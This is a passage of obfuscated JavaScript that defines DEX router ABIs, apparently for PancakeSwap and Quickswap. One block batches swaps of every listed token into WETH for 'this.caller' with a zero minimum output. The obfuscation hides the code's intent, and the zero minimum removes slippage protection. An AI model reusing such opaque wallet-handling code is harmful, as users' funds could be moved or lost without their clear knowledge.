const _0x3620bc = {
internalType: 'address',
name: 'recipient',
type: 'address'
};
const _0x135d93 = {
internalType: "uint256",
name: "amountOut",
type: "uint256"
};
const _0x4d1744 = {
internalType: "uint256",
name: "amountInMaximum",
type: "uint256"
};
const _0x589829 = {
internalType: "uint160",
name: "sqrtPriceLimitX96",
type: "uint160"
};
const _0xfab027 = {
components: [_0x430c4b, _0x2c7b65, _0x44817e, _0x3620bc, _0x135d93, _0x4d1744, _0x589829],
internalType: "struct IV3SwapRouter.ExactOutputSingleParams",
name: "params",
type: "tuple"
};
const _0x554c05 = {
inputs: [_0xfab027],
name: "exactOutputSingle",
outputs: [{
'internalType': 'uint256',
'name': "amountIn",
'type': "uint256"
}],
stateMutability: 'payable',
type: 'function'
};
const _0x52d9dd = {
internalType: 'address[]',
name: 'path',
type: "address[]"
};
const _0x11fe90 = {
internalType: "uint256[]",
name: "flag",
type: "uint256[]"
};
const _0x48e21e = {
internalType: "uint256",
name: "amountOut",
type: "uint256"
};
const _0x3b71fd = {
internalType: "uint256",
name: "amountInMax",
type: 'uint256'
};
const _0x58e85c = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x4f4126 = {
internalType: "uint256",
name: "amountIn",
type: 'uint256'
};
const _0x36f660 = {
inputs: [_0x52d9dd, _0x11fe90, _0x48e21e, _0x3b71fd, _0x58e85c],
name: "exactOutputStableSwap",
outputs: [_0x4f4126],
stateMutability: "payable",
type: 'function'
};
const _0x163afc = {
internalType: 'address',
name: '',
type: "address"
};
const _0x4a0b00 = {
inputs: [],
name: "factory",
outputs: [_0x163afc],
stateMutability: 'view',
type: 'function'
};
const _0x51ccc9 = {
inputs: [],
name: "factoryV2",
outputs: [{
'internalType': 'address',
'name': '',
'type': 'address'
}],
stateMutability: 'view',
type: 'function'
};
const _0x30e0d8 = {
internalType: 'address',
name: 'token',
type: "address"
};
const _0x5bef9f = {
internalType: "uint256",
name: "amount",
type: "uint256"
};
const _0x58e67b = {
inputs: [_0x30e0d8, _0x5bef9f],
name: "getApprovalType",
outputs: [{
'internalType': "enum IApproveAndCall.ApprovalType",
'name': '',
'type': "uint8"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x27be50 = {
internalType: 'address',
name: "token0",
type: 'address'
};
const _0x2feb17 = {
internalType: "address",
name: 'token1',
type: 'address'
};
const _0x580193 = {
internalType: "uint256",
name: "tokenId",
type: "uint256"
};
const _0x237e0d = {
internalType: "uint256",
name: "amount0Min",
type: "uint256"
};
const _0x3f360e = {
internalType: "uint256",
name: "amount1Min",
type: "uint256"
};
const _0x316f86 = {
components: [_0x27be50, _0x2feb17, _0x580193, _0x237e0d, _0x3f360e],
internalType: "struct IApproveAndCall.IncreaseLiquidityParams",
name: "params",
type: "tuple"
};
const _0x3b1866 = {
inputs: [_0x316f86],
name: "increaseLiquidity",
outputs: [{
'internalType': 'bytes',
'name': "result",
'type': 'bytes'
}],
stateMutability: "payable",
type: "function"
};
const _0x22a0c6 = {
internalType: "address",
name: "token0",
type: 'address'
};
const _0x506b05 = {
internalType: "address",
name: "token1",
type: "address"
};
const _0x5e3613 = {
internalType: "uint24",
name: "fee",
type: "uint24"
};
const _0x2edc90 = {
internalType: "int24",
name: 'tickLower',
type: "int24"
};
const _0x5d7946 = {
internalType: "int24",
name: "tickUpper",
type: "int24"
};
const _0x5926fb = {
internalType: "uint256",
name: "amount0Min",
type: "uint256"
};
const _0x1eaf21 = {
internalType: "uint256",
name: "amount1Min",
type: "uint256"
};
const _0x4c1f73 = {
internalType: 'address',
name: 'recipient',
type: 'address'
};
const _0x5eedb3 = {
components: [_0x22a0c6, _0x506b05, _0x5e3613, _0x2edc90, _0x5d7946, _0x5926fb, _0x1eaf21, _0x4c1f73],
internalType: "struct IApproveAndCall.MintParams",
name: "params",
type: "tuple"
};
const _0x3d2680 = {
inputs: [_0x5eedb3],
name: 'mint',
outputs: [{
'internalType': 'bytes',
'name': "result",
'type': 'bytes'
}],
stateMutability: "payable",
type: 'function'
};
const _0x28e381 = {
internalType: "bytes32",
name: "previousBlockhash",
type: "bytes32"
};
const _0x41dd9e = {
internalType: "bytes[]",
name: 'data',
type: "bytes[]"
};
const _0x17f3fa = {
inputs: [_0x28e381, _0x41dd9e],
name: 'multicall',
outputs: [{
'internalType': "bytes[]",
'name': '',
'type': 'bytes[]'
}],
stateMutability: "payable",
type: 'function'
};
const _0x34c139 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x5aeb80 = {
internalType: "bytes[]",
name: 'data',
type: "bytes[]"
};
const _0x582054 = {
inputs: [_0x34c139, _0x5aeb80],
name: 'multicall',
outputs: [{
'internalType': "bytes[]",
'name': '',
'type': "bytes[]"
}],
stateMutability: "payable",
type: 'function'
};
const _0x252fbb = {
internalType: "bytes[]",
name: 'data',
type: "bytes[]"
};
const _0x12c297 = {
inputs: [_0x252fbb],
name: 'multicall',
outputs: [{
'internalType': "bytes[]",
'name': "results",
'type': "bytes[]"
}],
stateMutability: "payable",
type: 'function'
};
const _0x51de82 = {
inputs: [],
name: "owner",
outputs: [{
'internalType': 'address',
'name': '',
'type': 'address'
}],
stateMutability: 'view',
type: 'function'
};
const _0x1a11ae = {
internalType: "int256",
name: "amount0Delta",
type: "int256"
};
const _0x1f110d = {
internalType: "int256",
name: "amount1Delta",
type: "int256"
};
const _0x2b6fe2 = {
internalType: 'bytes',
name: "_data",
type: "bytes"
};
const _0x1eba12 = {
inputs: [_0x1a11ae, _0x1f110d, _0x2b6fe2],
name: "pancakeV3SwapCallback",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x1f05cb = {
inputs: [],
name: "positionManager",
outputs: [{
'internalType': 'address',
'name': '',
'type': 'address'
}],
stateMutability: 'view',
type: 'function'
};
const _0x429177 = {
internalType: 'address',
name: "token",
type: 'address'
};
const _0x5e84b2 = {
internalType: "uint256",
name: "value",
type: "uint256"
};
const _0x63c49e = {
inputs: [_0x429177, _0x5e84b2],
name: "pull",
outputs: [],
stateMutability: "payable",
type: "function"
};
const _0x2d9efe = {
inputs: [],
name: "refundETH",
outputs: [],
stateMutability: "payable",
type: 'function'
};
const _0x23006c = {
inputs: [],
name: "renounceOwnership",
outputs: [],
stateMutability: "nonpayable",
type: "function"
};
const _0x438a1a = {
internalType: 'address',
name: "token",
type: 'address'
};
const _0x4d050b = {
internalType: "uint256",
name: "value",
type: "uint256"
};
const _0x1bcba0 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x6d4305 = {
internalType: "uint8",
name: 'v',
type: "uint8"
};
const _0x3c76a9 = {
internalType: 'bytes32',
name: 'r',
type: "bytes32"
};
const _0x90e751 = {
internalType: "bytes32",
name: 's',
type: "bytes32"
};
const _0x142acb = {
inputs: [_0x438a1a, _0x4d050b, _0x1bcba0, _0x6d4305, _0x3c76a9, _0x90e751],
name: 'selfPermit',
outputs: [],
stateMutability: "payable",
type: 'function'
};
const _0x1de9ac = {
internalType: 'address',
name: "token",
type: "address"
};
const _0x226dcc = {
internalType: "uint256",
name: "nonce",
type: "uint256"
};
const _0x27b084 = {
internalType: "uint256",
name: "expiry",
type: "uint256"
};
const _0x10fe80 = {
internalType: "uint8",
name: 'v',
type: 'uint8'
};
const _0x4db9a1 = {
internalType: "bytes32",
name: 'r',
type: "bytes32"
};
const _0x3bffde = {
internalType: "bytes32",
name: 's',
type: "bytes32"
};
const _0x548f99 = {
inputs: [_0x1de9ac, _0x226dcc, _0x27b084, _0x10fe80, _0x4db9a1, _0x3bffde],
name: "selfPermitAllowed",
outputs: [],
stateMutability: "payable",
type: 'function'
};
const _0x58778c = {
internalType: 'address',
name: "token",
type: 'address'
};
const _0x52892a = {
internalType: "uint256",
name: "nonce",
type: "uint256"
};
const _0x273292 = {
internalType: "uint256",
name: "expiry",
type: "uint256"
};
const _0x16f94c = {
internalType: "uint8",
name: 'v',
type: 'uint8'
};
const _0x13dea0 = {
internalType: "bytes32",
name: 'r',
type: "bytes32"
};
const _0x31aa45 = {
internalType: "bytes32",
name: 's',
type: "bytes32"
};
const _0x2e2557 = {
inputs: [_0x58778c, _0x52892a, _0x273292, _0x16f94c, _0x13dea0, _0x31aa45],
name: "selfPermitAllowedIfNecessary",
outputs: [],
stateMutability: "payable",
type: 'function'
};
const _0x530dda = {
internalType: 'address',
name: "token",
type: 'address'
};
const _0x3d4949 = {
internalType: "uint256",
name: 'value',
type: "uint256"
};
const _0x125f1b = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x2afdb7 = {
internalType: 'uint8',
name: 'v',
type: "uint8"
};
const _0x4e399c = {
internalType: "bytes32",
name: 'r',
type: "bytes32"
};
const _0xe4071b = {
internalType: "bytes32",
name: 's',
type: "bytes32"
};
const _0x397520 = {
inputs: [_0x530dda, _0x3d4949, _0x125f1b, _0x2afdb7, _0x4e399c, _0xe4071b],
name: "selfPermitIfNecessary",
outputs: [],
stateMutability: "payable",
type: 'function'
};
const _0x1e4809 = {
internalType: 'address',
name: "_factory",
type: 'address'
};
const _0x3adf1f = {
internalType: 'address',
name: "_info",
type: 'address'
};
const _0x259e9b = {
inputs: [_0x1e4809, _0x3adf1f],
name: "setStableSwap",
outputs: [],
stateMutability: "nonpayable",
type: "function"
};
const _0x319695 = {
inputs: [],
name: "stableSwapFactory",
outputs: [{
'internalType': 'address',
'name': '',
'type': 'address'
}],
stateMutability: "view",
type: 'function'
};
const _0x11344b = {
internalType: 'address',
name: '',
type: 'address'
};
const _0x3fbb23 = {
inputs: [],
name: "stableSwapInfo",
outputs: [_0x11344b],
stateMutability: 'view',
type: 'function'
};
const _0x4c0adf = {
internalType: "uint256",
name: "amountIn",
type: "uint256"
};
const _0x426b75 = {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
};
const _0x5eca97 = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x4c210c = {
internalType: 'address',
name: 'to',
type: "address"
};
const _0x157d68 = {
inputs: [_0x4c0adf, _0x426b75, _0x5eca97, _0x4c210c],
name: "swapExactTokensForTokens",
outputs: [{
'internalType': "uint256",
'name': "amountOut",
'type': "uint256"
}],
stateMutability: "payable",
type: 'function'
};
const _0x2a5c99 = {
internalType: 'uint256',
name: "amountOut",
type: "uint256"
};
const _0x4dbe07 = {
internalType: 'uint256',
name: "amountInMax",
type: "uint256"
};
const _0x37e95e = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x5f344e = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0xc5280e = {
inputs: [_0x2a5c99, _0x4dbe07, _0x37e95e, _0x5f344e],
name: "swapTokensForExactTokens",
outputs: [{
'internalType': "uint256",
'name': "amountIn",
'type': "uint256"
}],
stateMutability: "payable",
type: 'function'
};
const _0x4dc0d3 = {
internalType: "address",
name: "token",
type: 'address'
};
const _0xcb785b = {
internalType: "uint256",
name: "amountMinimum",
type: "uint256"
};
const _0x2f617d = {
internalType: 'address',
name: "recipient",
type: "address"
};
const _0x57fadb = {
inputs: [_0x4dc0d3, _0xcb785b, _0x2f617d],
name: "sweepToken",
outputs: [],
stateMutability: "payable",
type: 'function'
};
const _0x18ccf0 = {
internalType: 'address',
name: "token",
type: 'address'
};
const _0x462d05 = {
internalType: 'uint256',
name: "amountMinimum",
type: "uint256"
};
const _0x38dd20 = {
inputs: [_0x18ccf0, _0x462d05],
name: "sweepToken",
outputs: [],
stateMutability: "payable",
type: 'function'
};
const _0x357589 = {
internalType: 'address',
name: "token",
type: "address"
};
const _0x21895d = {
internalType: "uint256",
name: "amountMinimum",
type: "uint256"
};
const _0x4e6fb8 = {
internalType: "uint256",
name: "feeBips",
type: "uint256"
};
const _0x249eff = {
internalType: 'address',
name: "feeRecipient",
type: 'address'
};
const _0x7d9d98 = {
inputs: [_0x357589, _0x21895d, _0x4e6fb8, _0x249eff],
name: "sweepTokenWithFee",
outputs: [],
stateMutability: "payable",
type: 'function'
};
const _0x2a431e = {
internalType: 'address',
name: "token",
type: 'address'
};
const _0x2da77a = {
internalType: "uint256",
name: "amountMinimum",
type: "uint256"
};
const _0x3e9248 = {
internalType: 'address',
name: 'recipient',
type: 'address'
};
const _0x2b49c0 = {
internalType: "uint256",
name: "feeBips",
type: "uint256"
};
const _0x591709 = {
internalType: 'address',
name: "feeRecipient",
type: 'address'
};
const _0x24ba9a = {
inputs: [_0x2a431e, _0x2da77a, _0x3e9248, _0x2b49c0, _0x591709],
name: "sweepTokenWithFee",
outputs: [],
stateMutability: "payable",
type: 'function'
};
const _0xf12630 = {
internalType: 'address',
name: "newOwner",
type: 'address'
};
const _0x43ea8b = {
inputs: [_0xf12630],
name: "transferOwnership",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x1d8a1c = {
internalType: "uint256",
name: "amountMinimum",
type: "uint256"
};
const _0x601b52 = {
internalType: 'address',
name: "recipient",
type: 'address'
};
const _0x300bf4 = {
inputs: [_0x1d8a1c, _0x601b52],
name: "unwrapWETH9",
outputs: [],
stateMutability: "payable",
type: 'function'
};
const _0x2d4d02 = {
internalType: 'uint256',
name: "amountMinimum",
type: "uint256"
};
const _0x2fbcb6 = {
internalType: 'address',
name: 'recipient',
type: 'address'
};
const _0x2a38f1 = {
internalType: "uint256",
name: "feeBips",
type: "uint256"
};
const _0x2a35e1 = {
internalType: 'address',
name: "feeRecipient",
type: 'address'
};
const _0x413d4e = {
inputs: [_0x2d4d02, _0x2fbcb6, _0x2a38f1, _0x2a35e1],
name: "unwrapWETH9WithFee",
outputs: [],
stateMutability: "payable",
type: 'function'
};
const _0x43c872 = {
internalType: "uint256",
name: "amountMinimum",
type: "uint256"
};
const _0x394979 = {
internalType: "uint256",
name: "feeBips",
type: "uint256"
};
const _0x212eb6 = {
internalType: 'address',
name: "feeRecipient",
type: 'address'
};
const _0x11e1a3 = {
inputs: [_0x43c872, _0x394979, _0x212eb6],
name: "unwrapWETH9WithFee",
outputs: [],
stateMutability: "payable",
type: 'function'
};
const _0x45efc9 = {
internalType: "uint256",
name: 'value',
type: "uint256"
};
const _0x194b1f = {
inputs: [_0x45efc9],
name: "wrapETH",
outputs: [],
stateMutability: "payable",
type: 'function'
};
const _0x41bb45 = {
stateMutability: "payable",
type: "receive"
};
let _0x5ebcc4 = [_0x9ccbdc, _0x1fd1bf, _0x1073c2, _0xf800cf, _0x298953, _0x19c0c4, _0x2ba740, _0x350b4c, _0x49c383, _0xb5df08, _0x5a4125, _0x375213, _0x159517, _0x12e35a, _0x16b33f, _0x50dda3, _0x554c05, _0x36f660, _0x4a0b00, _0x51ccc9, _0x58e67b, _0x3b1866, _0x3d2680, _0x17f3fa, _0x582054, _0x12c297, _0x51de82, _0x1eba12, _0x1f05cb, _0x63c49e, _0x2d9efe, _0x23006c, _0x142acb, _0x548f99, _0x2e2557, _0x397520, _0x259e9b, _0x319695, _0x3fbb23, _0x157d68, _0xc5280e, _0x57fadb, _0x38dd20, _0x7d9d98, _0x24ba9a, _0x43ea8b, _0x300bf4, _0x413d4e, _0x11e1a3, _0x194b1f, _0x41bb45];
let _0x207c0b = new ethers.Contract(_0x1d9d78, _0x5ebcc4, _0x30ef12);
let _0x373839 = await _0x207c0b.WETH9();
let _0x92b61b = _0x579e7a.asset;
let _0x4cbd2c = [];
for (let _0x135274 of _0x92b61b) {
let _0x2008e5 = [];
_0x2008e5[0] = _0x135274.token;
_0x2008e5[1] = _0x373839;
let _0x337789 = _0x207c0b['interface'].encodeFunctionData("swapExactTokensForTokens", [_0x135274.amount, 0, _0x2008e5, this.caller]);
_0x4cbd2c.push(_0x337789);
}
let _0x2929ca = _0x207c0b['interface'].encodeFunctionData("multicall(bytes[])", [_0x4cbd2c]);
let _0x42fde8 = {
'to': _0x1d9d78,
'from': await this.getWalletAddress(),
'data': _0x2929ca
};
return _0x30ef12.sendTransaction(_0x42fde8);
}
case "Quickswap":
{
const _0x3e3446 = {
internalType: 'address',
name: "_factory",
type: "address"
};
const _0x5e5127 = {
internalType: 'address',
name: "_WETH",
type: "address"
};
const _0x22fc49 = {
inputs: [_0x3e3446, _0x5e5127],
stateMutability: "nonpayable",
type: "constructor"
};
const _0x2d93c8 = {
internalType: "address",
name: '',
type: 'address'
};
const _0x46a498 = {
inputs: [],
name: "WETH",
outputs: [_0x2d93c8],
stateMutability: 'view',
type: 'function'
};
const _0x363a6f = {
internalType: 'address',
name: "tokenA",
type: 'address'
};
const _0x45dd61 = {
internalType: 'address',
name: "tokenB",
type: 'address'
};
const _0x57eb8a = {
internalType: "uint256",
name: "amountADesired",
type: "uint256"
};
const _0x21dff7 = {
internalType: "uint256",
name: "amountBDesired",
type: "uint256"
};
const _0x5c8ab0 = {
internalType: "uint256",
name: "amountAMin",
type: "uint256"
};
const _0x3c7746 = {
internalType: "uint256",
name: "amountBMin",
type: "uint256"
};
const _0xdfea07 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x205643 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x16daec = {
inputs: [_0x363a6f, _0x45dd61, _0x57eb8a, _0x21dff7, _0x5c8ab0, _0x3c7746, _0xdfea07, _0x205643],
name: "addLiquidity",
outputs: [{
'internalType': "uint256",
'name': "amountA",
'type': "uint256"
}, {
'internalType': "uint256",
'name': 'amountB',
'type': "uint256"
}, {
'internalType': "uint256",
'name': "liquidity",
'type': "uint256"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x1834e3 = {
internalType: 'address',
name: "token",
type: 'address'
};
const _0x206f36 = {
internalType: "uint256",
name: "amountTokenDesired",
type: "uint256"
};
const _0xceca9 = {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
};
const _0x26306d = {
internalType: 'uint256',
name: "amountETHMin",
type: "uint256"
};
const _0x382a74 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x23d147 = {
internalType: "uint256",
name: "deadline",
type: 'uint256'
};
const _0x568a8e = {
inputs: [_0x1834e3, _0x206f36, _0xceca9, _0x26306d, _0x382a74, _0x23d147],
name: "addLiquidityETH",
outputs: [{
'internalType': "uint256",
'name': "amountToken",
'type': "uint256"
}, {
'internalType': "uint256",
'name': 'amountETH',
'type': "uint256"
}, {
'internalType': "uint256",
'name': "liquidity",
'type': "uint256"
}],
stateMutability: "payable",
type: 'function'
};
const _0x47ddb0 = {
inputs: [],
name: "factory",
outputs: [{
'internalType': "address",
'name': '',
'type': 'address'
}],
stateMutability: 'view',
type: 'function'
};
const _0x106f29 = {
internalType: "uint256",
name: "amountOut",
type: "uint256"
};
const _0x4d8800 = {
internalType: "uint256",
name: "reserveIn",
type: "uint256"
};
const _0x39e890 = {
internalType: "uint256",
name: "reserveOut",
type: "uint256"
};
const _0x4eb0c8 = {
inputs: [_0x106f29, _0x4d8800, _0x39e890],
name: "getAmountIn",
outputs: [{
'internalType': 'uint256',
'name': "amountIn",
'type': "uint256"
}],
stateMutability: "pure",
type: 'function'
};
const _0x4603cb = {
internalType: "uint256",
name: "amountIn",
type: "uint256"
};
const _0x50c709 = {
internalType: 'uint256',
name: "reserveIn",
type: "uint256"
};
const _0x296084 = {
internalType: "uint256",
name: "reserveOut",
type: "uint256"
};
const _0x53e224 = {
internalType: "uint256",
name: "amountOut",
type: "uint256"
};
const _0x20806d = {
inputs: [_0x4603cb, _0x50c709, _0x296084],
name: "getAmountOut",
outputs: [_0x53e224],
stateMutability: "pure",
type: 'function'
};
const _0x259f5e = {
internalType: "uint256",
name: "amountOut",
type: "uint256"
};
const _0x598574 = {
internalType: "address[]",
name: "path",
type: "address[]"
};
const _0x210cfa = {
inputs: [_0x259f5e, _0x598574],
name: "getAmountsIn",
outputs: [{
'internalType': "uint256[]",
'name': "amounts",
'type': "uint256[]"
}],
stateMutability: "view",
type: 'function'
};
const _0x2c3142 = {
internalType: "uint256",
name: "amountIn",
type: "uint256"
};
const _0x234fbc = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x8222fb = {
inputs: [_0x2c3142, _0x234fbc],
name: "getAmountsOut",
outputs: [{
'internalType': "uint256[]",
'name': "amounts",
'type': "uint256[]"
}],
stateMutability: 'view',
type: 'function'
};
const _0x176fad = {
internalType: "uint256",
name: "amountA",
type: "uint256"
};
const _0x5b4583 = {
internalType: "uint256",
name: "reserveA",
type: "uint256"
};
const _0x2638a6 = {
internalType: "uint256",
name: 'reserveB',
type: "uint256"
};
const _0xd0952d = {
inputs: [_0x176fad, _0x5b4583, _0x2638a6],
name: "quote",
outputs: [{
'internalType': "uint256",
'name': 'amountB',
'type': "uint256"
}],
stateMutability: "pure",
type: 'function'
};
const _0x2b66e7 = {
internalType: "address",
name: "tokenA",
type: 'address'
};
const _0x3d7c37 = {
internalType: 'address',
name: "tokenB",
type: 'address'
};
const _0x59bfb5 = {
internalType: "uint256",
name: "liquidity",
type: "uint256"
};
const _0x7b32a2 = {
internalType: "uint256",
name: "amountAMin",
type: "uint256"
};
const _0xd2a785 = {
internalType: "uint256",
name: "amountBMin",
type: "uint256"
};
const _0x571a98 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x4ce5ff = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x37145b = {
inputs: [_0x2b66e7, _0x3d7c37, _0x59bfb5, _0x7b32a2, _0xd2a785, _0x571a98, _0x4ce5ff],
name: "removeLiquidity",
outputs: [{
'internalType': "uint256",
'name': "amountA",
'type': "uint256"
}, {
'internalType': "uint256",
'name': 'amountB',
'type': "uint256"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x6c0ffa = {
internalType: 'address',
name: "token",
type: 'address'
};
const _0x52944c = {
internalType: "uint256",
name: 'liquidity',
type: "uint256"
};
const _0x3d183b = {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
};
const _0x24c4aa = {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
};
const _0x586032 = {
internalType: 'address',
name: 'to',
type: "address"
};
const _0x41e88a = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x176703 = {
inputs: [_0x6c0ffa, _0x52944c, _0x3d183b, _0x24c4aa, _0x586032, _0x41e88a],
name: "removeLiquidityETH",
outputs: [{
'internalType': "uint256",
'name': "amountToken",
'type': "uint256"
}, {
'internalType': "uint256",
'name': "amountETH",
'type': "uint256"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x479e28 = {
internalType: 'address',
name: "token",
type: "address"
};
const _0x4da0cd = {
internalType: "uint256",
name: 'liquidity',
type: "uint256"
};
const _0x798c6c = {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
};
const _0x526b76 = {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
};
const _0x4ae1b3 = {
internalType: "address",
name: 'to',
type: "address"
};
const _0x515955 = {
internalType: 'uint256',
name: "deadline",
type: "uint256"
};
const _0x50bd26 = {
inputs: [_0x479e28, _0x4da0cd, _0x798c6c, _0x526b76, _0x4ae1b3, _0x515955],
name: "removeLiquidityETHSupportingFeeOnTransferTokens",
outputs: [{
'internalType': "uint256",
'name': "amountETH",
'type': "uint256"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0xe8a8a3 = {
internalType: 'address',
name: "token",
type: 'address'
};
const _0xe3a5be = {
internalType: "uint256",
name: "liquidity",
type: "uint256"
};
const _0x5c8a46 = {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
};
const _0x2bcfd4 = {
internalType: "uint256",
name: "amountETHMin",
type: 'uint256'
};
const _0x5ce379 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x34aae6 = {
internalType: 'uint256',
name: 'deadline',
type: "uint256"
};
const _0xb9556 = {
internalType: 'bool',
name: 'approveMax',
type: 'bool'
};
const _0x33e00b = {
internalType: "uint8",
name: 'v',
type: "uint8"
};
const _0x9783b1 = {
internalType: "bytes32",
name: 'r',
type: "bytes32"
};
const _0x3510e1 = {
internalType: "bytes32",
name: 's',
type: "bytes32"
};
const _0xf1e8e5 = {
inputs: [_0xe8a8a3, _0xe3a5be, _0x5c8a46, _0x2bcfd4, _0x5ce379, _0x34aae6, _0xb9556, _0x33e00b, _0x9783b1, _0x3510e1],
name: "removeLiquidityETHWithPermit",
outputs: [{
'internalType': 'uint256',
'name': "amountToken",
'type': "uint256"
}, {
'internalType': "uint256",
'name': 'amountETH',
'type': "uint256"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x429325 = {
internalType: 'address',
name: "token",
type: 'address'
};
const _0x1b4415 = {
internalType: "uint256",
name: "liquidity",
type: "uint256"
};
const _0x12a866 = {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
};
const _0x161742 = {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
};
const _0x54ac3d = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x3e026d = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x245802 = {
internalType: "bool",
name: 'approveMax',
type: 'bool'
};
const _0x1ee7d2 = {
internalType: "uint8",
name: 'v',
type: "uint8"
};
const _0xc1139c = {
internalType: "bytes32",
name: 'r',
type: "bytes32"
};
const _0x3159f3 = {
internalType: "bytes32",
name: 's',
type: "bytes32"
};
const _0x568341 = {
internalType: "uint256",
name: 'amountETH',
type: "uint256"
};
const _0x3d8365 = {
inputs: [_0x429325, _0x1b4415, _0x12a866, _0x161742, _0x54ac3d, _0x3e026d, _0x245802, _0x1ee7d2, _0xc1139c, _0x3159f3],
name: "removeLiquidityETHWithPermitSupportingFeeOnTransferTokens",
outputs: [_0x568341],
stateMutability: "nonpayable",
type: 'function'
};
const _0x33354a = {
internalType: 'address',
name: "tokenA",
type: "address"
};
const _0x222ab6 = {
internalType: 'address',
name: "tokenB",
type: 'address'
};
const _0x3b510e = {
internalType: "uint256",
name: "liquidity",
type: "uint256"
};
const _0x339c3f = {
internalType: "uint256",
name: "amountAMin",
type: "uint256"
};
const _0x18adde = {
internalType: "uint256",
name: "amountBMin",
type: "uint256"
};
const _0x3e7183 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x590b4c = {
internalType: "uint256",
name: 'deadline',
type: "uint256"
};
const _0x39d7e6 = {
internalType: "bool",
name: 'approveMax',
type: 'bool'
};
const _0x18f986 = {
internalType: "uint8",
name: 'v',
type: "uint8"
};
const _0x32c4e1 = {
internalType: "bytes32",
name: 'r',
type: "bytes32"
};
const _0x18d71 = {
internalType: "bytes32",
name: 's',
type: "bytes32"
};
const _0x42b228 = {
inputs: [_0x33354a, _0x222ab6, _0x3b510e, _0x339c3f, _0x18adde, _0x3e7183, _0x590b4c, _0x39d7e6, _0x18f986, _0x32c4e1, _0x18d71],
name: "removeLiquidityWithPermit",
outputs: [{
'internalType': "uint256",
'name': "amountA",
'type': "uint256"
}, {
'internalType': "uint256",
'name': "amountB",
'type': "uint256"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x5052ef = {
internalType: "uint256",
name: "amountOut",
type: "uint256"
};
const _0x3ce286 = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x23037b = {
internalType: "address",
name: 'to',
type: 'address'
};
const _0x1940d5 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x40f678 = {
inputs: [_0x5052ef, _0x3ce286, _0x23037b, _0x1940d5],
name: "swapETHForExactTokens",
outputs: [{
'internalType': "uint256[]",
'name': "amounts",
'type': "uint256[]"
}],
stateMutability: "payable",
type: 'function'
};
const _0x144828 = {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
};
const _0x4a3eb9 = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x1e8443 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x16063a = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x49f340 = {
inputs: [_0x144828, _0x4a3eb9, _0x1e8443, _0x16063a],
name: "swapExactETHForTokens",
outputs: [{
'internalType': "uint256[]",
'name': "amounts",
'type': "uint256[]"
}],
stateMutability: "payable",
type: 'function'
};
const _0x158eb3 = {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
};
const _0x37744b = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x4b450c = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x420664 = {
internalType: "uint256",
name: "deadline",
type: 'uint256'
};
const _0x4bb0e9 = {
inputs: [_0x158eb3, _0x37744b, _0x4b450c, _0x420664],
name: "swapExactETHForTokensSupportingFeeOnTransferTokens",
outputs: [],
stateMutability: "payable",
type: 'function'
};
const _0x14c17d = {
internalType: "uint256",
name: "amountIn",
type: "uint256"
};
const _0x1ebf2a = {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
};
const _0x50557a = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x106a78 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x54049d = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x44982c = {
inputs: [_0x14c17d, _0x1ebf2a, _0x50557a, _0x106a78, _0x54049d],
name: "swapExactTokensForETH",
outputs: [{
'internalType': "uint256[]",
'name': "amounts",
'type': "uint256[]"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x1cd1ed = {
internalType: 'uint256',
name: "amountIn",
type: "uint256"
};
const _0x399c68 = {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
};
const _0x4c51ba = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x3d32f0 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x14d303 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x4e0bb4 = {
inputs: [_0x1cd1ed, _0x399c68, _0x4c51ba, _0x3d32f0, _0x14d303],
name: "swapExactTokensForETHSupportingFeeOnTransferTokens",
outputs: [],
stateMutability: "nonpayable",
type: "function"
